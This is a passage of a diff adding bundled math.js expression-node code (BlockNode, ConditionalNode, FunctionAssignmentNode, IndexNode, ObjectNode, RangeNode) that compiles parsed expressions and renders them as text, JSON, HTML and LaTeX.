called with the new operator'); + } // validate input, copy blocks + + + if (!Array.isArray(blocks)) throw new Error('Array expected'); + this.blocks = blocks.map(function (block) { + var node = block && block.node; + var visible = block && block.visible !== undefined ? block.visible : true; + if (!type.isNode(node)) throw new TypeError('Property "node" must be a Node'); + if (typeof visible !== 'boolean') throw new TypeError('Property "visible" must be a boolean'); + return { + node: node, + visible: visible + }; + }); + } + + BlockNode.prototype = new Node(); + BlockNode.prototype.type = 'BlockNode'; + BlockNode.prototype.isBlockNode = true; + /** + * Compile a node into a JavaScript function. + * This basically pre-calculates as much as possible and only leaves open + * calculations which depend on a dynamic scope with variables. + * @param {Object} math Math.js namespace with functions and constants. + * @param {Object} argNames An object with argument names as key and `true` + * as value. Used in the SymbolNode to optimize + * for arguments from user assigned functions + * (see FunctionAssignmentNode) or special symbols + * like `end` (see IndexNode). + * @return {function} Returns a function which can be called like: + * evalNode(scope: Object, args: Object, context: *) + */ + + BlockNode.prototype._compile = function (math, argNames) { + var evalBlocks = map(this.blocks, function (block) { + return { + eval: block.node._compile(math, argNames), + visible: block.visible + }; + }); + return function evalBlockNodes(scope, args, context) { + var results = []; + forEach(evalBlocks, function evalBlockNode(block) { + var result = block.eval(scope, args, context); + + if (block.visible) { + results.push(result); + } + }); + return new ResultSet(results); + }; + }; + /** + * Execute a callback for each of the child blocks of this node + * @param {function(child: Node, path: string, parent: Node)} callback + */ + + + BlockNode.prototype.forEach = function (callback) { + for (var i = 0; i < this.blocks.length; i++) { + callback(this.blocks[i].node, 'blocks[' + i + '].node', this); + } + }; + /** + * Create a new BlockNode having it's childs be the results of calling + * the provided callback function for each of the childs of the original node. + * @param {function(child: Node, path: string, parent: Node): Node} callback + * @returns {BlockNode} Returns a transformed copy of the node + */ + + + BlockNode.prototype.map = function (callback) { + var blocks = []; + + for (var i = 0; i < this.blocks.length; i++) { + var block = this.blocks[i]; + + var node = this._ifNode(callback(block.node, 'blocks[' + i + '].node', this)); + + blocks[i] = { + node: node, + visible: block.visible + }; + } + + return new BlockNode(blocks); + }; + /** + * Create a clone of this node, a shallow copy + * @return {BlockNode} + */ + + + BlockNode.prototype.clone = function () { + var blocks = this.blocks.map(function (block) { + return { + node: block.node, + visible: block.visible + }; + }); + return new BlockNode(blocks); + }; + /** + * Get string representation + * @param {Object} options + * @return {string} str + * @override + */ + + + BlockNode.prototype._toString = function (options) { + return this.blocks.map(function (param) { + return param.node.toString(options) + (param.visible ? '' : ';'); + }).join('\n'); + }; + /** + * Get a JSON representation of the node + * @returns {Object} + */ + + + BlockNode.prototype.toJSON = function () { + return { + mathjs: 'BlockNode', + blocks: this.blocks + }; + }; + /** + * Instantiate an BlockNode from its JSON representation + * @param {Object} json An object structured like + * `{"mathjs": "BlockNode", blocks: [{node: ..., visible: false}, ...]}`, + * where mathjs is optional + * @returns {BlockNode} + */ + + + BlockNode.fromJSON = function (json) { + return new BlockNode(json.blocks); + }; + /** + * Get HTML representation + * @param {Object} options + * @return {string} str + * @override + */ + + + BlockNode.prototype.toHTML = function (options) { + return this.blocks.map(function (param) { + return param.node.toHTML(options) + (param.visible ? '' : ';'); + }).join('
'); + }; + /** + * Get LaTeX representation + * @param {Object} options + * @return {string} str + */ + + + BlockNode.prototype._toTex = function (options) { + return this.blocks.map(function (param) { + return param.node.toTex(options) + (param.visible ? '' : ';'); + }).join('\\;\\;\n'); + }; + + return BlockNode; +} + +exports.name = 'BlockNode'; +exports.path = 'expression.node'; +exports.factory = factory; + +/***/ }), +/* 119 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var operators = __webpack_require__(53); + +function factory(type, config, load, typed) { + var Node = load(__webpack_require__(16)); + var mathTypeOf = load(__webpack_require__(26)); + /** + * A lazy evaluating conditional operator: 'condition ? trueExpr : falseExpr' + * + * @param {Node} condition Condition, must result in a boolean + * @param {Node} trueExpr Expression evaluated when condition is true + * @param {Node} falseExpr Expression evaluated when condition is true + * + * @constructor ConditionalNode + * @extends {Node} + */ + + function ConditionalNode(condition, trueExpr, falseExpr) { + if (!(this instanceof ConditionalNode)) { + throw new SyntaxError('Constructor must be called with the new operator'); + } + + if (!type.isNode(condition)) throw new TypeError('Parameter condition must be a Node'); + if (!type.isNode(trueExpr)) throw new TypeError('Parameter trueExpr must be a Node'); + if (!type.isNode(falseExpr)) throw new TypeError('Parameter falseExpr must be a Node'); + this.condition = condition; + this.trueExpr = trueExpr; + this.falseExpr = falseExpr; + } + + ConditionalNode.prototype = new Node(); + ConditionalNode.prototype.type = 'ConditionalNode'; + ConditionalNode.prototype.isConditionalNode = true; + /** + * Compile a node into a JavaScript function. + * This basically pre-calculates as much as possible and only leaves open + * calculations which depend on a dynamic scope with variables. + * @param {Object} math Math.js namespace with functions and constants. + * @param {Object} argNames An object with argument names as key and `true` + * as value. Used in the SymbolNode to optimize + * for arguments from user assigned functions + * (see FunctionAssignmentNode) or special symbols + * like `end` (see IndexNode). + * @return {function} Returns a function which can be called like: + * evalNode(scope: Object, args: Object, context: *) + */ + + ConditionalNode.prototype._compile = function (math, argNames) { + var evalCondition = this.condition._compile(math, argNames); + + var evalTrueExpr = this.trueExpr._compile(math, argNames); + + var evalFalseExpr = this.falseExpr._compile(math, argNames); + + return function evalConditionalNode(scope, args, context) { + return testCondition(evalCondition(scope, args, context)) ? evalTrueExpr(scope, args, context) : evalFalseExpr(scope, args, context); + }; + }; + /** + * Execute a callback for each of the child nodes of this node + * @param {function(child: Node, path: string, parent: Node)} callback + */ + + + ConditionalNode.prototype.forEach = function (callback) { + callback(this.condition, 'condition', this); + callback(this.trueExpr, 'trueExpr', this); + callback(this.falseExpr, 'falseExpr', this); + }; + /** + * Create a new ConditionalNode having it's childs be the results of calling + * the provided callback function for each of the childs of the original node. + * @param {function(child: Node, path: string, parent: Node): Node} callback + * @returns {ConditionalNode} Returns a transformed copy of the node + */ + + + ConditionalNode.prototype.map = function (callback) { + return new ConditionalNode(this._ifNode(callback(this.condition, 'condition', this)), this._ifNode(callback(this.trueExpr, 'trueExpr', this)), this._ifNode(callback(this.falseExpr, 'falseExpr', this))); + }; + /** + * Create a clone of this node, a shallow copy + * @return {ConditionalNode} + */ + + + ConditionalNode.prototype.clone = function () { + return new ConditionalNode(this.condition, this.trueExpr, this.falseExpr); + }; + /** + * Get string representation + * @param {Object} options + * @return {string} str + */ + + + ConditionalNode.prototype._toString = function (options) { + var parenthesis = options && options.parenthesis ? options.parenthesis : 'keep'; + var precedence = operators.getPrecedence(this, parenthesis); // Enclose Arguments in parentheses if they are an OperatorNode + // or have lower or equal precedence + // NOTE: enclosing all OperatorNodes in parentheses is a decision + // purely based on aesthetics and readability + + var condition = this.condition.toString(options); + var conditionPrecedence = operators.getPrecedence(this.condition, parenthesis); + + if (parenthesis === 'all' || this.condition.type === 'OperatorNode' || conditionPrecedence !== null && conditionPrecedence <= precedence) { + condition = '(' + condition + ')'; + } + + var trueExpr = this.trueExpr.toString(options); + var truePrecedence = operators.getPrecedence(this.trueExpr, parenthesis); + + if (parenthesis === 'all' || this.trueExpr.type === 'OperatorNode' || truePrecedence !== null && truePrecedence <= precedence) { + trueExpr = '(' + trueExpr + ')'; + } + + var falseExpr = this.falseExpr.toString(options); + var falsePrecedence = operators.getPrecedence(this.falseExpr, parenthesis); + + if (parenthesis === 'all' || this.falseExpr.type === 'OperatorNode' || falsePrecedence !== null && falsePrecedence <= precedence) { + falseExpr = '(' + falseExpr + ')'; + } + + return condition + ' ? ' + trueExpr + ' : ' + falseExpr; + }; + /** + * Get a JSON representation of the node + * @returns {Object} + */ + + + ConditionalNode.prototype.toJSON = function () { + return { + mathjs: 'ConditionalNode', + condition: this.condition, + trueExpr: this.trueExpr, + falseExpr: this.falseExpr + }; + }; + /** + * Instantiate an ConditionalNode from its JSON representation + * @param {Object} json An object structured like + * `{"mathjs": "ConditionalNode", "condition": ..., "trueExpr": ..., "falseExpr": ...}`, + * where mathjs is optional + * @returns {ConditionalNode} + */ + + + ConditionalNode.fromJSON = function (json) { + return new ConditionalNode(json.condition, json.trueExpr, json.falseExpr); + }; + /** + * Get HTML representation + * @param {Object} options + * @return {string} str + */ + + + ConditionalNode.prototype.toHTML = function (options) { + var parenthesis = options && options.parenthesis ? options.parenthesis : 'keep'; + var precedence = operators.getPrecedence(this, parenthesis); // Enclose Arguments in parentheses if they are an OperatorNode + // or have lower or equal precedence + // NOTE: enclosing all OperatorNodes in parentheses is a decision + // purely based on aesthetics and readability + + var condition = this.condition.toHTML(options); + var conditionPrecedence = operators.getPrecedence(this.condition, parenthesis); + + if (parenthesis === 'all' || this.condition.type === 'OperatorNode' || conditionPrecedence !== null && conditionPrecedence <= precedence) { + condition = '(' + condition + ')'; + } + + var trueExpr = this.trueExpr.toHTML(options); + var truePrecedence = operators.getPrecedence(this.trueExpr, parenthesis); + + if (parenthesis === 'all' || this.trueExpr.type === 'OperatorNode' || truePrecedence !== null && truePrecedence <= precedence) { + trueExpr = '(' + trueExpr + ')'; + } + + var falseExpr = this.falseExpr.toHTML(options); + var falsePrecedence = operators.getPrecedence(this.falseExpr, parenthesis); + + if (parenthesis === 'all' || this.falseExpr.type === 'OperatorNode' || falsePrecedence !== null && falsePrecedence <= precedence) { + falseExpr = '(' + falseExpr + ')'; + } + + return condition + '?' + trueExpr + ':' + falseExpr; + }; + /** + * Get LaTeX representation + * @param {Object} options + * @return {string} str + */ + + + ConditionalNode.prototype._toTex = function (options) { + return '\\begin{cases} {' + this.trueExpr.toTex(options) + '}, &\\quad{\\text{if }\\;' + this.condition.toTex(options) + '}\\\\{' + this.falseExpr.toTex(options) + '}, &\\quad{\\text{otherwise}}\\end{cases}'; + }; + /** + * Test whether a condition is met + * @param {*} condition + * @returns {boolean} true if condition is true or non-zero, else false + */ + + + function testCondition(condition) { + if (typeof condition === 'number' || typeof condition === 'boolean' || typeof condition === 'string') { + return !!condition; + } + + if (condition) { + if (type.isBigNumber(condition)) { + return !condition.isZero(); + } + + if (type.isComplex(condition)) { + return !!(condition.re || condition.im); + } + + if (type.isUnit(condition)) { + return !!condition.value; + } + } + + if (condition === null || condition === undefined) { + return false; + } + + throw new TypeError('Unsupported type of condition "' + mathTypeOf(condition) + '"'); + } + + return ConditionalNode; +} + +exports.name = 'ConditionalNode'; +exports.path = 'expression.node'; +exports.factory = factory; + +/***/ }), +/* 120 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var keywords = __webpack_require__(114); + +var escape = __webpack_require__(9).escape; + +var forEach = __webpack_require__(2).forEach; + +var join = __webpack_require__(2).join; + +var latex = __webpack_require__(4); + +var operators = __webpack_require__(53); + +var setSafeProperty = __webpack_require__(13).setSafeProperty; + +function factory(type, config, load, typed) { + var Node = load(__webpack_require__(16)); + /** + * @constructor FunctionAssignmentNode + * @extends {Node} + * Function assignment + * + * @param {string} name Function name + * @param {string[] | Array.<{name: string, type: string}>} params + * Array with function parameter names, or an + * array with objects containing the name + * and type of the parameter + * @param {Node} expr The function expression + */ + + function FunctionAssignmentNode(name, params, expr) { + if (!(this instanceof FunctionAssignmentNode)) { + throw new SyntaxError('Constructor must be called with the new operator'); + } // validate input + + + if (typeof name !== 'string') throw new TypeError('String expected for parameter "name"'); + if (!Array.isArray(params)) throw new TypeError('Array containing strings or objects expected for parameter "params"'); + if (!type.isNode(expr)) throw new TypeError('Node expected for parameter "expr"'); + if (name in keywords) throw new Error('Illegal function name, "' + name + '" is a reserved keyword'); + this.name = name; + this.params = params.map(function (param) { + return param && param.name || param; + }); + this.types = params.map(function (param) { + return param && param.type || 'any'; + }); + this.expr = expr; + } + + FunctionAssignmentNode.prototype = new Node(); + FunctionAssignmentNode.prototype.type = 'FunctionAssignmentNode'; + FunctionAssignmentNode.prototype.isFunctionAssignmentNode = true; + /** + * Compile a node into a JavaScript function. + * This basically pre-calculates as much as possible and only leaves open + * calculations which depend on a dynamic scope with variables. + * @param {Object} math Math.js namespace with functions and constants. + * @param {Object} argNames An object with argument names as key and `true` + * as value. Used in the SymbolNode to optimize + * for arguments from user assigned functions + * (see FunctionAssignmentNode) or special symbols + * like `end` (see IndexNode). + * @return {function} Returns a function which can be called like: + * evalNode(scope: Object, args: Object, context: *) + */ + + FunctionAssignmentNode.prototype._compile = function (math, argNames) { + var childArgNames = Object.create(argNames); + forEach(this.params, function (param) { + childArgNames[param] = true; + }); // compile the function expression with the child args + + var evalExpr = this.expr._compile(math, childArgNames); + + var name = this.name; + var params = this.params; + var signature = join(this.types, ','); + var syntax = name + '(' + join(this.params, ', ') + ')'; + return function evalFunctionAssignmentNode(scope, args, context) { + var signatures = {}; + + signatures[signature] = function () { + var childArgs = Object.create(args); + + for (var i = 0; i < params.length; i++) { + childArgs[params[i]] = arguments[i]; + } + + return evalExpr(scope, childArgs, context); + }; + + var fn = typed(name, signatures); + fn.syntax = syntax; + setSafeProperty(scope, name, fn); + return fn; + }; + }; + /** + * Execute a callback for each of the child nodes of this node + * @param {function(child: Node, path: string, parent: Node)} callback + */ + + + FunctionAssignmentNode.prototype.forEach = function (callback) { + callback(this.expr, 'expr', this); + }; + /** + * Create a new FunctionAssignmentNode having it's childs be the results of calling + * the provided callback function for each of the childs of the original node. + * @param {function(child: Node, path: string, parent: Node): Node} callback + * @returns {FunctionAssignmentNode} Returns a transformed copy of the node + */ + + + FunctionAssignmentNode.prototype.map = function (callback) { + var expr = this._ifNode(callback(this.expr, 'expr', this)); + + return new FunctionAssignmentNode(this.name, this.params.slice(0), expr); + }; + /** + * Create a clone of this node, a shallow copy + * @return {FunctionAssignmentNode} + */ + + + FunctionAssignmentNode.prototype.clone = function () { + return new FunctionAssignmentNode(this.name, this.params.slice(0), this.expr); + }; + /** + * Is parenthesis needed? + * @param {Node} node + * @param {Object} parenthesis + * @private + */ + + + function needParenthesis(node, parenthesis) { + var precedence = operators.getPrecedence(node, parenthesis); + var exprPrecedence = operators.getPrecedence(node.expr, parenthesis); + return parenthesis === 'all' || exprPrecedence !== null && exprPrecedence <= precedence; + } + /** + * get string representation + * @param {Object} options + * @return {string} str + */ + + + FunctionAssignmentNode.prototype._toString = function (options) { + var parenthesis = options && options.parenthesis ? options.parenthesis : 'keep'; + var expr = this.expr.toString(options); + + if (needParenthesis(this, parenthesis)) { + expr = '(' + expr + ')'; + } + + return this.name + '(' + this.params.join(', ') + ') = ' + expr; + }; + /** + * Get a JSON representation of the node + * @returns {Object} + */ + + + FunctionAssignmentNode.prototype.toJSON = function () { + var types = this.types; + return { + mathjs: 'FunctionAssignmentNode', + name: this.name, + params: this.params.map(function (param, index) { + return { + name: param, + type: types[index] + }; + }), + expr: this.expr + }; + }; + /** + * Instantiate an FunctionAssignmentNode from its JSON representation + * @param {Object} json An object structured like + * `{"mathjs": "FunctionAssignmentNode", name: ..., params: ..., expr: ...}`, + * where mathjs is optional + * @returns {FunctionAssignmentNode} + */ + + + FunctionAssignmentNode.fromJSON = function (json) { + return new FunctionAssignmentNode(json.name, json.params, json.expr); + }; + /** + * get HTML representation + * @param {Object} options + * @return {string} str + */ + + + FunctionAssignmentNode.prototype.toHTML = function (options) { + var parenthesis = options && options.parenthesis ? options.parenthesis : 'keep'; + var params = []; + + for (var i = 0; i < this.params.length; i++) { + params.push('' + escape(this.params[i]) + ''); + } + + var expr = this.expr.toHTML(options); + + if (needParenthesis(this, parenthesis)) { + expr = '(' + expr + ')'; + } + + return '' + escape(this.name) + '' + '(' + params.join(',') + ')=' + expr; + }; + /** + * get LaTeX representation + * @param {Object} options + * @return {string} str + */ + + + FunctionAssignmentNode.prototype._toTex = function (options) { + var parenthesis = options && options.parenthesis ? options.parenthesis : 'keep'; + var expr = this.expr.toTex(options); + + if (needParenthesis(this, parenthesis)) { + expr = "\\left(".concat(expr, "\\right)"); + } + + return '\\mathrm{' + this.name + '}\\left(' + this.params.map(latex.toSymbol).join(',') + '\\right):=' + expr; + }; + + return FunctionAssignmentNode; +} + +exports.name = 'FunctionAssignmentNode'; +exports.path = 'expression.node'; +exports.factory = factory; + +/***/ }), +/* 121 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var map = __webpack_require__(2).map; + +var escape = __webpack_require__(9).escape; + +function factory(type, config, load, typed) { + var Node = load(__webpack_require__(16)); + var Range = load(__webpack_require__(106)); + var isArray = Array.isArray; + /** + * @constructor IndexNode + * @extends Node + * + * Describes a subset of a matrix or an object property. + * Cannot be used on its own, needs to be used within an AccessorNode or + * AssignmentNode. + * + * @param {Node[]} dimensions + * @param {boolean} [dotNotation=false] Optional property describing whether + * this index was written using dot + * notation like `a.b`, or using bracket + * notation like `a["b"]` (default). + * Used to stringify an IndexNode. + */ + + function IndexNode(dimensions, dotNotation) { + if (!(this instanceof IndexNode)) { + throw new SyntaxError('Constructor must be called with the new operator'); + } + + this.dimensions = dimensions; + this.dotNotation = dotNotation || false; // validate input + + if (!isArray(dimensions) || !dimensions.every(type.isNode)) { + throw new TypeError('Array containing Nodes expected for parameter "dimensions"'); + } + + if (this.dotNotation && !this.isObjectProperty()) { + throw new Error('dotNotation only applicable for object properties'); + } // TODO: deprecated since v3, remove some day + + + var deprecated = function deprecated() { + throw new Error('Property `IndexNode.object` is deprecated, use `IndexNode.fn` instead'); + }; + + Object.defineProperty(this, 'object', { + get: deprecated, + set: deprecated + }); + } + + IndexNode.prototype = new Node(); + IndexNode.prototype.type = 'IndexNode'; + IndexNode.prototype.isIndexNode = true; + /** + * Compile a node into a JavaScript function. + * This basically pre-calculates as much as possible and only leaves open + * calculations which depend on a dynamic scope with variables. + * @param {Object} math Math.js namespace with functions and constants. + * @param {Object} argNames An object with argument names as key and `true` + * as value. Used in the SymbolNode to optimize + * for arguments from user assigned functions + * (see FunctionAssignmentNode) or special symbols + * like `end` (see IndexNode). + * @return {function} Returns a function which can be called like: + * evalNode(scope: Object, args: Object, context: *) + */ + + IndexNode.prototype._compile = function (math, argNames) { + // TODO: implement support for bignumber (currently bignumbers are silently + // reduced to numbers when changing the value to zero-based) + // TODO: Optimization: when the range values are ConstantNodes, + // we can beforehand resolve the zero-based value + // optimization for a simple object property + var evalDimensions = map(this.dimensions, function (range, i) { + if (type.isRangeNode(range)) { + if (range.needsEnd()) { + // create a range containing end (like '4:end') + var childArgNames = Object.create(argNames); + childArgNames['end'] = true; + + var evalStart = range.start._compile(math, childArgNames); + + var evalEnd = range.end._compile(math, childArgNames); + + var evalStep = range.step ? range.step._compile(math, childArgNames) : function () { + return 1; + }; + return function evalDimension(scope, args, context) { + var size = math.size(context).valueOf(); + var childArgs = Object.create(args); + childArgs['end'] = size[i]; + return createRange(evalStart(scope, childArgs, context), evalEnd(scope, childArgs, context), evalStep(scope, childArgs, context)); + }; + } else { + // create range + var _evalStart = range.start._compile(math, argNames); + + var _evalEnd = range.end._compile(math, argNames); + + var _evalStep = range.step ? range.step._compile(math, argNames) : function () { + return 1; + }; + + return function evalDimension(scope, args, context) { + return createRange(_evalStart(scope, args, context), _evalEnd(scope, args, context), _evalStep(scope, args, context)); + }; + } + } else if (type.isSymbolNode(range) && range.name === 'end') { + // SymbolNode 'end' + var _childArgNames = Object.create(argNames); + + _childArgNames['end'] = true; + + var evalRange = range._compile(math, _childArgNames); + + return function evalDimension(scope, args, context) { + var size = math.size(context).valueOf(); + var childArgs = Object.create(args); + childArgs['end'] = size[i]; + return evalRange(scope, childArgs, context); + }; + } else { + // ConstantNode + var _evalRange = range._compile(math, argNames); + + return function evalDimension(scope, args, context) { + return _evalRange(scope, args, context); + }; + } + }); + return function evalIndexNode(scope, args, context) { + var dimensions = map(evalDimensions, function (evalDimension) { + return evalDimension(scope, args, context); + }); + return math.index.apply(math, dimensions); + }; + }; + /** + * Execute a callback for each of the child nodes of this node + * @param {function(child: Node, path: string, parent: Node)} callback + */ + + + IndexNode.prototype.forEach = function (callback) { + for (var i = 0; i < this.dimensions.length; i++) { + callback(this.dimensions[i], 'dimensions[' + i + ']', this); + } + }; + /** + * Create a new IndexNode having it's childs be the results of calling + * the provided callback function for each of the childs of the original node. + * @param {function(child: Node, path: string, parent: Node): Node} callback + * @returns {IndexNode} Returns a transformed copy of the node + */ + + + IndexNode.prototype.map = function (callback) { + var dimensions = []; + + for (var i = 0; i < this.dimensions.length; i++) { + dimensions[i] = this._ifNode(callback(this.dimensions[i], 'dimensions[' + i + ']', this)); + } + + return new IndexNode(dimensions); + }; + /** + * Create a clone of this node, a shallow copy + * @return {IndexNode} + */ + + + IndexNode.prototype.clone = function () { + return new IndexNode(this.dimensions.slice(0)); + }; + /** + * Test whether this IndexNode contains a single property name + * @return {boolean} + */ + + + IndexNode.prototype.isObjectProperty = function () { + return this.dimensions.length === 1 && type.isConstantNode(this.dimensions[0]) && typeof this.dimensions[0].value === 'string'; + }; + /** + * Returns the property name if IndexNode contains a property. + * If not, returns null. + * @return {string | null} + */ + + + IndexNode.prototype.getObjectProperty = function () { + return this.isObjectProperty() ? this.dimensions[0].value : null; + }; + /** + * Get string representation + * @param {Object} options + * @return {string} str + */ + + + IndexNode.prototype._toString = function (options) { + // format the parameters like "[1, 0:5]" + return this.dotNotation ? '.' + this.getObjectProperty() : '[' + this.dimensions.join(', ') + ']'; + }; + /** + * Get a JSON representation of the node + * @returns {Object} + */ + + + IndexNode.prototype.toJSON = function () { + return { + mathjs: 'IndexNode', + dimensions: this.dimensions, + dotNotation: this.dotNotation + }; + }; + /** + * Instantiate an IndexNode from its JSON representation + * @param {Object} json An object structured like + * `{"mathjs": "IndexNode", dimensions: [...], dotNotation: false}`, + * where mathjs is optional + * @returns {IndexNode} + */ + + + IndexNode.fromJSON = function (json) { + return new IndexNode(json.dimensions, json.dotNotation); + }; + /** + * Get HTML representation + * @param {Object} options + * @return {string} str + */ + + + IndexNode.prototype.toHTML = function (options) { + // format the parameters like "[1, 0:5]" + var dimensions = []; + + for (var i = 0; i < this.dimensions.length; i++) { + dimensions[i] = this.dimensions[i].toHTML(); + } + + if (this.dotNotation) { + return '.' + '' + escape(this.getObjectProperty()) + ''; + } else { + return '[' + dimensions.join(',') + ']'; + } + }; + /** + * Get LaTeX representation + * @param {Object} options + * @return {string} str + */ + + + IndexNode.prototype._toTex = function (options) { + var dimensions = this.dimensions.map(function (range) { + return range.toTex(options); + }); + return this.dotNotation ? '.' + this.getObjectProperty() + '' : '_{' + dimensions.join(',') + '}'; + }; // helper function to create a Range from start, step and end + + + function createRange(start, end, step) { + return new Range(type.isBigNumber(start) ? start.toNumber() : start, type.isBigNumber(end) ? end.toNumber() : end, type.isBigNumber(step) ? step.toNumber() : step); + } + + return IndexNode; +} + +exports.name = 'IndexNode'; +exports.path = 'expression.node'; +exports.factory = factory; + +/***/ }), +/* 122 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } + +var stringify = __webpack_require__(9).stringify; + +var escape = __webpack_require__(9).escape; + +var isSafeProperty = __webpack_require__(13).isSafeProperty; + +var hasOwnProperty = __webpack_require__(5).hasOwnProperty; + +function factory(type, config, load, typed) { + var Node = load(__webpack_require__(16)); + /** + * @constructor ObjectNode + * @extends {Node} + * Holds an object with keys/values + * @param {Object.} [properties] object with key/value pairs + */ + + function ObjectNode(properties) { + if (!(this instanceof ObjectNode)) { + throw new SyntaxError('Constructor must be called with the new operator'); + } + + this.properties = properties || {}; // validate input + + if (properties) { + if (!(_typeof(properties) === 'object') || !Object.keys(properties).every(function (key) { + return type.isNode(properties[key]); + })) { + throw new TypeError('Object containing Nodes expected'); + } + } + } + + ObjectNode.prototype = new Node(); + ObjectNode.prototype.type = 'ObjectNode'; + ObjectNode.prototype.isObjectNode = true; + /** + * Compile a node into a JavaScript function. + * This basically pre-calculates as much as possible and only leaves open + * calculations which depend on a dynamic scope with variables. + * @param {Object} math Math.js namespace with functions and constants. + * @param {Object} argNames An object with argument names as key and `true` + * as value. Used in the SymbolNode to optimize + * for arguments from user assigned functions + * (see FunctionAssignmentNode) or special symbols + * like `end` (see IndexNode). + * @return {function} Returns a function which can be called like: + * evalNode(scope: Object, args: Object, context: *) + */ + + ObjectNode.prototype._compile = function (math, argNames) { + var evalEntries = {}; + + for (var key in this.properties) { + if (hasOwnProperty(this.properties, key)) { + // we stringify/parse the key here to resolve unicode characters, + // so you cannot create a key like {"co\\u006Estructor": null} + var stringifiedKey = stringify(key); + var parsedKey = JSON.parse(stringifiedKey); + + if (!isSafeProperty(this.properties, parsedKey)) { + throw new Error('No access to property "' + parsedKey + '"'); + } + + evalEntries[parsedKey] = this.properties[key]._compile(math, argNames); + } + } + + return function evalObjectNode(scope, args, context) { + var obj = {}; + + for (var _key in evalEntries) { + if (hasOwnProperty(evalEntries, _key)) { + obj[_key] = evalEntries[_key](scope, args, context); + } + } + + return obj; + }; + }; + /** + * Execute a callback for each of the child nodes of this node + * @param {function(child: Node, path: string, parent: Node)} callback + */ + + + ObjectNode.prototype.forEach = function (callback) { + for (var key in this.properties) { + if (this.properties.hasOwnProperty(key)) { + callback(this.properties[key], 'properties[' + stringify(key) + ']', this); + } + } + }; + /** + * Create a new ObjectNode having it's childs be the results of calling + * the provided callback function for each of the childs of the original node. + * @param {function(child: Node, path: string, parent: Node): Node} callback + * @returns {ObjectNode} Returns a transformed copy of the node + */ + + + ObjectNode.prototype.map = function (callback) { + var properties = {}; + + for (var key in this.properties) { + if (this.properties.hasOwnProperty(key)) { + properties[key] = this._ifNode(callback(this.properties[key], 'properties[' + stringify(key) + ']', this)); + } + } + + return new ObjectNode(properties); + }; + /** + * Create a clone of this node, a shallow copy + * @return {ObjectNode} + */ + + + ObjectNode.prototype.clone = function () { + var properties = {}; + + for (var key in this.properties) { + if (this.properties.hasOwnProperty(key)) { + properties[key] = this.properties[key]; + } + } + + return new ObjectNode(properties); + }; + /** + * Get string representation + * @param {Object} options + * @return {string} str + * @override + */ + + + ObjectNode.prototype._toString = function (options) { + var entries = []; + + for (var key in this.properties) { + if (this.properties.hasOwnProperty(key)) { + entries.push(stringify(key) + ': ' + this.properties[key].toString(options)); + } + } + + return '{' + entries.join(', ') + '}'; + }; + /** + * Get a JSON representation of the node + * @returns {Object} + */ + + + ObjectNode.prototype.toJSON = function () { + return { + mathjs: 'ObjectNode', + properties: this.properties + }; + }; + /** + * Instantiate an OperatorNode from its JSON representation + * @param {Object} json An object structured like + * `{"mathjs": "ObjectNode", "properties": {...}}`, + * where mathjs is optional + * @returns {ObjectNode} + */ + + + ObjectNode.fromJSON = function (json) { + return new ObjectNode(json.properties); + }; + /** + * Get HTML representation + * @param {Object} options + * @return {string} str + * @override + */ + + + ObjectNode.prototype.toHTML = function (options) { + var entries = []; + + for (var key in this.properties) { + if (this.properties.hasOwnProperty(key)) { + entries.push('' + escape(key) + '' + ':' + this.properties[key].toHTML(options)); + } + } + + return '{' + entries.join(',') + '}'; + }; + /** + * Get LaTeX representation + * @param {Object} options + * @return {string} str + */ + + + ObjectNode.prototype._toTex = function (options) { + var entries = []; + + for (var key in this.properties) { + if (this.properties.hasOwnProperty(key)) { + entries.push('\\mathbf{' + key + ':} & ' + this.properties[key].toTex(options) + '\\\\'); + } + } + + return "\\left\\{\\begin{array}{ll}".concat(entries.join('\n'), "\\end{array}\\right\\}"); + }; + + return ObjectNode; +} + +exports.name = 'ObjectNode'; +exports.path = 'expression.node'; +exports.factory = factory; + +/***/ }), +/* 123 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var operators = __webpack_require__(53); + +function factory(type, config, load, typed) { + var Node = load(__webpack_require__(16)); + /** + * @constructor RangeNode + * @extends {Node} + * create a range + * @param {Node} start included lower-bound + * @param {Node} end included upper-bound + * @param {Node} [step] optional step + */ + + function RangeNode(start, end, step) { + if (!(this instanceof RangeNode)) { + throw new SyntaxError('Constructor must be called with the new operator'); + } // validate inputs + + + if (!type.isNode(start)) throw new TypeError('Node expected'); + if (!type.isNode(end)) throw new TypeError('Node expected'); + if (step && !type.isNode(step)) throw new TypeError('Node expected'); + if (arguments.length > 3) throw new Error('Too many arguments'); + this.start = start; // included lower-bound + + this.end = end; // included upper-bound + + this.step = step || null; // optional step + } + + RangeNode.prototype = new Node(); + RangeNode.prototype.type = 'RangeNode'; + RangeNode.prototype.isRangeNode = true; + /** + * Check whether the RangeNode needs the `end` symbol to be defined. + * This end is the size of the Matrix in current dimension. + * @return {boolean} + */ + + RangeNode.prototype.needsEnd = function () { + // find all `end` symbols in this RangeNode + var endSymbols = this.filter(function (node) { + return type.isSymbolNode(node) && node.name === 'end'; + }); + return endSymbols.length > 0; + }; + /** + * Compile a node into a JavaScript function. + * This basically pre-calculates as much as possible and only leaves open + * calculations which depend on a dynamic scope with variables. + * @param {Object} math Math.js namespace with functions and constants. + * @param {Object} argNames An object with argument names as key and `true` + * as value. Used in the SymbolNode to optimize + * for arguments from user assigned functions + * (see FunctionAssignmentNode) or special symbols + * like `end` (see IndexNode). + * @return {function} Returns a function which can be called like: + * evalNode(scope: Object, args: Object, context: *) + */ + + + RangeNode.prototype._compile = function (math, argNames) { + var range = math.range; + + var evalStart = this.start._compile(math, argNames); + + var evalEnd = this.end._compile(math, argNames); + + if (this.step) { + var evalStep = this.step._compile(math, argNames); + + return function evalRangeNode(scope, args, context) { + return range(evalStart(scope, args, context), evalEnd(scope, args, context), evalStep(scope, args, context)); + }; + } else { + return function evalRangeNode(scope, args, context) { + return range(evalStart(scope, args, context), evalEnd(scope, args, context)); + }; + } + }; + /** + * Execute a callback for each of the child nodes of this node + * @param {function(child: Node, path: string, parent: 